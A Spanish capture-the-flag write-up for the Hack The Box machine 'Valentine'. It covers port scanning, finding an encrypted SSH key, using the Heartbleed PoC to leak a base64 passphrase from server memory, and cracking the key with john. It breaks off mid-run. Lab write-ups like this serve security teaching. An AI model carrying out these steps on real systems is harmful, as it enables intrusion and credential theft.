Valentine
Valentine
es una máquina de dificultad media muy singular que se centra en la vulnerabilidad Heartbleed, que tuvo un impacto devastador en los sistemas de todo el mundo.

Reconnaissance
Realizaremos un reconocimiento con nmap
para ver los puertos que están expuestos en la máquina Valentine
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.79 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-27 05:20 CET
Initiating SYN Stealth Scan at 05:20
Scanning 10.10.10.79 [65535 ports]
Discovered open port 443/tcp on 10.10.10.79
Discovered open port 22/tcp on 10.10.10.79
Discovered open port 80/tcp on 10.10.10.79
Completed SYN Stealth Scan at 05:21, 21.72s elapsed (65535 total ports)
Nmap scan report for 10.10.10.79
Host is up, received user-set (0.058s latency).
Scanned at 2025-02-27 05:20:45 CET for 21s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.84 seconds
Raw packets sent: 65867 (2.898MB) | Rcvd: 65856 (2.635MB)
A través de la herramienta de extractPorts
, la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.79
[*] Open ports: 22,80,443
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
en protocolos HTTP (80)
y HTPTS (443)
.
❯ nmap -sCV -p22,80,443 10.10.10.79 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-27 05:21 CET
Nmap scan report for valentine.htb (10.10.10.79)
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_ssl-date: 2025-02-27T04:23:03+00:00; +1m00s from scanner time.
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: 59s
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 79.04 ms 10.10.14.1
2 66.02 ms valentine.htb (10.10.10.79)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.49 seconds
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Accederemos a http://localhost y verificaremos el resultado en un formato más cómodo para su análisis.

Añadiremos en nuestro archivo /etc/hosts
la siguiente entrada correspondiente.
❯ cat /etc/hosts | grep valentine
10.10.10.79 valentine.htb
Web Enumeration
Accederemos a http://valentine.htb pero se nos redigie automáticamente a https://valentine.htb en la cual nos encontramos con el siguiente contenido.

Realizamos una enumeración de la aplicación web para intentar obtener archivos, directorios, etc. En el resultado se nos muestra un directorio llamado /dev
el cual contiene dos archivos que deberemos explorar.
❯ feroxbuster -u https://valentine.htb -t 200 -C 500,502,404 -k
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ https://valentine.htb
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 10l 30w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 314c https://valentine.htb/dev => https://valentine.htb/dev/
200 GET 1l 2w 38c https://valentine.htb/index
200 GET 620l 3539w 275344c https://valentine.htb/omg.jpg
200 GET 1l 2w 38c https://valentine.htb/
200 GET 8l 39w 227c https://valentine.htb/dev/notes.txt
200 GET 2l 1794w 5383c https://valentine.htb/dev/hype_key
Nos descargaremos los archivos hype_key
y notes.txt
los cuales se encuentran en https://valentine.htb/dev/.
❯ wget https://valentine.htb/dev/hype_key --no-check-certificate
--2025-02-27 05:26:59-- https://valentine.htb/dev/hype_key
Resolviendo valentine.htb (valentine.htb)... 10.10.10.79
Conectando con valentine.htb (valentine.htb)[10.10.10.79]:443... conectado.
GnuTLS: Se recibió una alerta de advertencia TLS.
GnuTLS: received alert [112]: No se reconoció el nombre del servidor enviado
AVISO: El certificado de «valentine.htb» no es confiable.
AVISO: El certificado de «valentine.htb» no tiene un emisor conocido.
AVISO: El certificado de «valentine.htb» ha expirado.
Ha expirado el certificado
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 5383 (5,3K)
Grabando a: «hype_key»
hype_key 100%[=======================>] 5,26K --.-KB/s en 0,006s
2025-02-27 05:26:59 (923 KB/s) - «hype_key» guardado [5383/5383]
❯ wget https://valentine.htb/dev/notes.txt --no-check-certificate
--2025-02-27 05:27:05-- https://valentine.htb/dev/notes.txt
Resolviendo valentine.htb (valentine.htb)... 10.10.10.79
Conectando con valentine.htb (valentine.htb)[10.10.10.79]:443... conectado.
GnuTLS: Se recibió una alerta de advertencia TLS.
GnuTLS: received alert [112]: No se reconoció el nombre del servidor enviado
AVISO: El certificado de «valentine.htb» no es confiable.
AVISO: El certificado de «valentine.htb» no tiene un emisor conocido.
AVISO: El certificado de «valentine.htb» ha expirado.
Ha expirado el certificado
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 227 [text/plain]
Grabando a: «notes.txt»
notes.txt 100%[======================>] 227 --.-KB/s en 0s
2025-02-27 05:27:05 (7,49 MB/s) - «notes.txt» guardado [227/227]
Initial Access
Attempting to decrypt an RSA Private Key (FAILED)
Nos encontramos con los dos siguientes archivos que deberemos analizar. En el archivo llamado notes.txt
mencionan una especie de tareas que se deben realizar, sobretodo remarcan el tema de reparar un decodificador/codificador en el cual indican que solamente funcione desde el lado del cliente.
Por otro lado, el archivo hype_key
contiene información codificada en lo que parece ser Hexadecimal, revisaremos a ver si podemos descodificar este archivo para obtener el archivo original.
To do:
1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.
Realizaremos una decodificación a través de la herramienta xxd
y comprobaremos el siguiente resultado.
En el resultado obtenido, comprobamos que el archivo hype_key
se trata de una PEM RSA Private Key
.
❯ cat hype_key | xxd -r -p | sponge hype_key
❯ cat hype_key
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----
❯ file hype_key
hype_key: PEM RSA private key
Realizamos una búsqueda por Internet para encontrar la manera de desencriptar esta Private Key
. En el siguiente blog, se nos menciona que una de las maneras más efectivas de desencriptar el contenido es a través de openssl
.

Intentaremos desencriptar la Private Key
pero nos pide contraseña, al darle al Enter
(es decir dejar la contraseña en blanco), nos mostraba el siguiente mensaje de error, indicando que no había sido posible desencriptar la clave. Por lo tanto, para intentar desencriptar esta clave, deberíamos buscar alguna manera de lograr obtener credenciales.
❯ openssl rsa -in hype_key -out hype_key_decrypted
Enter pass phrase for hype_key:
Could not find private key from hype_key
40778A23867F0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:../providers/implementations/ciphers/ciphercommon_block.c:107:
40778A23867F0000:error:04800065:PEM routines:PEM_do_header:bad decrypt:../crypto/pem/pem_lib.c:472:
También intentamos obtener el hash de la contraseña a través de ssh2john
pero no logramos finalmente crackear la contraseña debido que esta contraseña no está dentro del diccionario rockyou.txt
.
❯ ssh2john hype_key > hype_key.hash
❯ cat hype_key.hash
hype_key:$sshng$1$16$AEB88C140F69BF2074788DE24AE48D46$1200$0db3eb3bbf247a036e9350c0aa500de636e35efd0f3eca20de375b3054bc884f69dd438bd25174c5fecfce6ae40daf11e72fdbe3afbd9c4a4231f4cf84db8945c5b653680970e147fbd4490c10b95093144b5fe08c1ffbfcccb4d0cc31f9a23ad0423449b3985005755b8115ee6f7a42c663af026f9e355a7e6e95b0a6933c11e9ba07004af32acfbe96e9a6d165e5e211bc3aea18c5980bb8033a9c33f92280d4453d8b8d897ad7b35c3f75e2c2a8227e11ad53f3395ab3a7dc9a133c03ef0f39704a35eea5d7b84a693eb0167a7979739a5081ef1e7bcee9270755646b67bd1f7297298a62f5c35dd381d77602219da472c9a585082393ee3bac7e2d2f27d6bfc658ca923848a63510f58ffe7dff8bb744ead308a7a8f43b1346ab3693548741d5b01706976d8c93d6ec403129791eaf4e0f91c9f06d11e8923946f08d5108f0c741484e38cc8e72c8a718ef7eaf84a74803d1473294a9baac266a69cc2749d7475bc5b72f12660b17715b996de5d3e30240584549e5f751120a20f867eb823a5ea32c50f691a38b7eec9e7b47d809bec64ea39eec498c0777c623049d5bc382f0d593930a6373410b6e551aeae94eb7d82b4a8b114c2b19775e0e3edb386cbb292b130c3ac8272a5a17be794f392c12a56cbd5a9eb2f175fcf85e34af19795ea8435018729350b760f3a20ee3ce9cc5da2297b57606f435d0f533d65048d50bc350c70863cfe09492c57ec159d0ca6809d626f160940e2814105503cb803cc7d5d971509e3c144f96cf2c2eb9b45b2da11b53675b92aee6a2dbb9314e72d0fb043cee531a75db3519035e1ac2927fc47faec44a79e29c8a50de3c28de68baadab19e136816d834331b7aaf681bd44025a10ea38394db8f927baae61764fca50658cda7d195a629cf7372a91edb6f81ba6d7e258412c6589f9c993e152bf50af4f2990ec40ad7136763ede5fe6eaeb9eb7e4e27a4ea1db0254d0d51b3d3ee96b4bb2b848b5fb9d8f3dfd1679a1241ed95591c9367515f9e0252b2ff7e31fbf3df8d656f33885a693b59f11c59c1dcd7a9fd57421b48d00b9e34e1bc470f9327b506c7d26ec7fd160b946648070279df44a906546d4e572bb073f2d58e66e16732b02e169944d77c1c433ce9f3688cfd3d9d58d3698b565179344a2d56d36c1bbb53732fed5383d2293722121421588d2aa2c86f9653b2302b7614e64a7708275849ccfadd0da941a7f17d26eebf808c9cda5d8ab54a128e674517cafe268bdd7d51dc3c55f1e49814a14bea9aa9b97718e58649180a7e271b27210f42172c48b7dd9fad7ce7b2386561af2cbdb54d35f93ff5fc97ea8a76e2b2f60f2112a58a67b2e90108506464758d37278dedbe46853542a1d1e1cc75457a14ee06ba7e56e3ea6aa0ef30255ed436426f832302332c95ffbdc4af935c42f789c98838145d3f2c3a7bf2654255519664a116923c79bffc56c4f22527be6fce77cee576a8bb2e2da04cc582a6dfecc40c80ef78a3cd69a59980472ac729420bfc14c945e5309e74370e8935530cf0b7828a2dce116974967f4bd5bfcd5e91e319af161c74e3a088a5079a8d532cb049e4c11766b04655c7f41ae4646e0573881d996fc8cd345481991b31064d2087f38f542e8a5455066fc5efa63f60cae69ccf64ff5c52188b24c02510fbde42187244f0c9210f7
❯ john --wordlist:/usr/share/wordlists/rockyou.txt hype_key.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:18 DONE (2025-02-27 18:23) 0g/s 782416p/s 782416c/s 782416C/sie168..*7¡Vamos!
Session completed.
Nmap Enumeration --script vuln
Debido que se encuentra el HTTPS (443)
habilitado, probamos de realizar un escaneo nuevamente con la herramienta de Nmap
para realizar un escaneo con los scripts de vuln
para detectar vulnerabilidades conocidas.
En el resultado obtenido, se comprueba que es vulnerable a ssl-poodle
y ssl-heartbleed
y ssl-css-injection
.
❯ nmap -sCV -p443 --script vuln 10.10.10.79
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-27 05:35 CET
Nmap scan report for valentine.htb (10.10.10.79)
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-csrf: Couldn''t find any CSRF vulnerabilities.
| ssl-poodle:
| VULNERABLE:
| SSL POODLE information leak
| State: VULNERABLE
| IDs: BID:70574 CVE:CVE-2014-3566
| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
| products, uses nondeterministic CBC padding, which makes it easier
| for man-in-the-middle attackers to obtain cleartext data via a
| padding-oracle attack, aka the "POODLE" issue.
| Disclosure date: 2014-10-14
| Check results:
| TLS_RSA_WITH_AES_128_CBC_SHA
| References:
| https://www.openssl.org/~bodo/ssl-poodle.pdf
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
| https://www.imperialviolet.org/2014/10/14/poodle.html
|_ https://www.securityfocus.com/bid/70574
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| http://www.openssl.org/news/secadv_20140407.txt
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_ http://cvedetails.com/cve/2014-0160/
| ssl-ccs-injection:
| VULNERABLE:
| SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
| Risk factor: High
| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
| does not properly restrict processing of ChangeCipherSpec messages,
| which allows man-in-the-middle attackers to trigger use of a zero
| length master key in certain OpenSSL-to-OpenSSL communications, and
| consequently hijack sessions or obtain sensitive information, via
| a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
| http://www.cvedetails.com/cve/2014-0224
|_ http://www.openssl.org/news/secadv_20140605.txt
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_ /index/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.03 seconds
Heartbleed Exploitation (CVE-2014-0160)
Con la herramienta de testsl
verificamos nuevamente que el servicio es vulnerable a Heartbleed
.
❯ testssl --heartbleed valentine.htb:443
#####################################################################
testssl version 3.2rc4 from https://testssl.sh/dev/
This program is free software. Distribution and modification under
GPLv2 permitted. USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!
Please file bugs @ https://testssl.sh/bugs/
#####################################################################
Using OpenSSL 3.4.0 22 Oct 2024 [~96 ciphers]
on kali:/usr/bin/openssl
Start 2025-02-27 05:35:44 -->> 10.10.10.79:443 (valentine.htb) <<--
A record via: /etc/hosts
rDNS (10.10.10.79): --
Service detected: HTTP
Testing for heartbleed vulnerability
Heartbleed (CVE-2014-0160) VULNERABLE (NOT ok)
Done 2025-02-27 05:35:48 [ 7s] -->> 10.10.10.79:443 (valentine.htb) <<--
Las implementaciones de (1) TLS y (2) DTLS en OpenSSL 1.0.1 en versiones anteriores a 1.0.1g no manejan adecuadamente paquetes Heartbeat Extension, lo que permite a atacantes remotos obtener información sensible desde la memoria de proceso a través de paquetes manipulados que desencadenan una sobrelectura del buffer, según lo demostrado mediante la lectura de claves privadas, relacionado con d1_both.c y t1_lib.c, también conocido como bug Heartbleed.
Realizando una búsqueda por Internet, nos encontramos con el siguiente repositorio de GitHub el cual nos ofrece un PoC de cómo realizar la explotación de la vulnerabilidad.
❯ git clone https://github.com/mpgn/heartbleed-PoC; cd heartbleed-PoC
Clonando en 'heartbleed-PoC'...
remote: Enumerating objects: 19, done.
remote: Total 19 (delta 0), reused 0 (delta 0), pack-reused 19 (from 1)
Recibiendo objetos: 100% (19/19), 5.79 KiB | 1.45 MiB/s, listo.
Resolviendo deltas: 100% (4/4), listo.
Ejecutaremos el script de heartbleed-exploit.py
a través de Python2
e indicaremos el dominio vulnerable. Comprobamos que se nos ha creado un archivo llamado out.txt
con la información recibida de la vulnerabilidad.
❯ python2 heartbleed-exploit.py valentine.htb
Connecting...
Sending Client Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 885
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
Handshake done...
Sending heartbeat request with length 4 :
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response in file out.txt
WARNING : server returned more data than it should - server is vulnerable!
Al revisar el contenido del archivo out.txt
nos encontramos con el siguiente contenido, el cual en un principio no nos ofrece nada interesante.
❯ head -n 30 out.txt
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 61 6C 69 76 ....#.......aliv
00e0: 65 0D 0A 48 6F 73 74 3A 20 76 61 6C 65 6E 74 69 e..Host: valenti
00f0: 6E 65 2E 68 74 62 0D 0A 55 73 65 72 2D 41 67 65 ne.htb..User-Age
0100: 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 nt: Mozilla/5.0
0110: 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4E 6D 61 (compatible; Nma
0120: 70 20 53 63 72 69 70 74 69 6E 67 20 45 6E 67 69 p Scripting Engi
0130: 6E 65 3B 20 68 74 74 70 73 3A 2F 2F 6E 6D 61 70 ne; https://nmap
0140: 2E 6F 72 67 2F 62 6F 6F 6B 2F 6E 73 65 2E 68 74 .org/book/nse.ht
0150: 6D 6C 29 0D 0A 0D 0A 47 45 54 20 2F 77 61 79 2D ml)....GET /way-
0160: 62 6F 61 72 64 2F 20 48 54 54 50 2F 31 2E 31 0D board/ HTTP/1.1.
0170: 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 6B 65 65 .Connection: kee
0180: 70 2D 61 6C 69 76 65 0D 0A 48 6F 73 74 3A 20 76 p-alive..Host: v
0190: 61 6C 65 6E 74 69 6E 65 2E 68 74 62 0D 0A 55 73 alentine.htb..Us
01a0: 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C er-Agent: Mozill
01b0: 61 2F 35 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C a/5.0 (compatibl
01c0: 65 3B 20 4E 6D 61 70 20 53 63 72 69 70 74 69 6E e; Nmap Scriptin
01d0: 67 20 45 6E 67 69 6E 65 3B 20 68 74 74 70 73 3A g Engine; https:
Ejecutaremos varias veces y comprobaremos el archivo out.txt
nuevamente, para obtener más información recopilada a través de la memoria debido a la vulnerabilidad de Heartbleed
.
En uno de los resultados obtenidos, comprobamos que se hace mención de un archivo llamado decode.php
(algo parecido a lo que encontramos inicialmente en el archivo notes.txt
). Este archivo al parecer se está tramitando una variable $text
la cual contiene un contenido que parece estar codificado en Base64.
❯ head -n 30 out.txt
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 30 2E 30 2E ....#.......0.0.
00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F 1/decode.php..Co
00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C ntent-Type: appl
0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F ication/x-www-fo
0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43 rm-urlencoded..C
0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34 ontent-Length: 4
0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63 2....$text=aGVhc
0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64 nRibGVlZGJlbGlld
0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D A8 mV0aGVoeXBlCg==.
0160: 9A F1 66 0F 5F 71 A3 6A 7A BC 9D FD 51 D1 A7 A5 ..f._q.jz...Q...
0170: C1 47 C3 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C .G..............
0180: 03 02 03 01 00 2D 00 02 01 01 00 33 00 26 00 24 .....-.....3.&.$
0190: 00 1D 00 20 AF 86 59 41 AB 94 7C FE 62 D5 4F 90 ... ..YA..|.b.O.
01a0: 3B 43 C5 97 26 1F BB FC 04 F1 82 35 7C 75 89 3A ;C..&......5|u.:
01b0: 6A F6 1F 4E 00 1B 00 05 04 00 01 00 03 00 15 00 j..N............
01c0: 3F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?...............
01d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Descodificamos el contenido obtenido y nos encontramos con el siguiente contenido: heartbleedbelievethehype
.
❯ echo 'aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==' | base64 -d -w 0
heartbleedbelievethehype
Probamos de autenticarnos con estas credenciales con el usuariohype
(suponiendo que este es el nombre del usuario, debido al nombre del archivo que teníamos anteriormente hype_key
), pero nos muestra un mensaje de error.
❯ sshpass -p 'heartbleedbelievethehype' ssh hype@valentine.htb
Permission denied, please try again.
Decrypting an RSA Private Key
Con lo cual, lo que decidimos es comprobar si con esta contraseña podíamos llegar a desencriptar la RSA Private Key
almacenada en hype_key
. Por lo tanto, probamos de añadir heartbleedbelievethehype
en el diccionario rockyou.txt
y intentamos crackear nuevamente el hash obtenido anteriormente en el archivo hype_key.hash
. Como resultado obtenido, comprobamos que ahora que la contraseña si está presente en el diccionario, si ha logrado crackear el hash de la RSA Private Key
.
❯ john --wordlist:/usr/share/wordlists/rockyou.txt hype_key.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
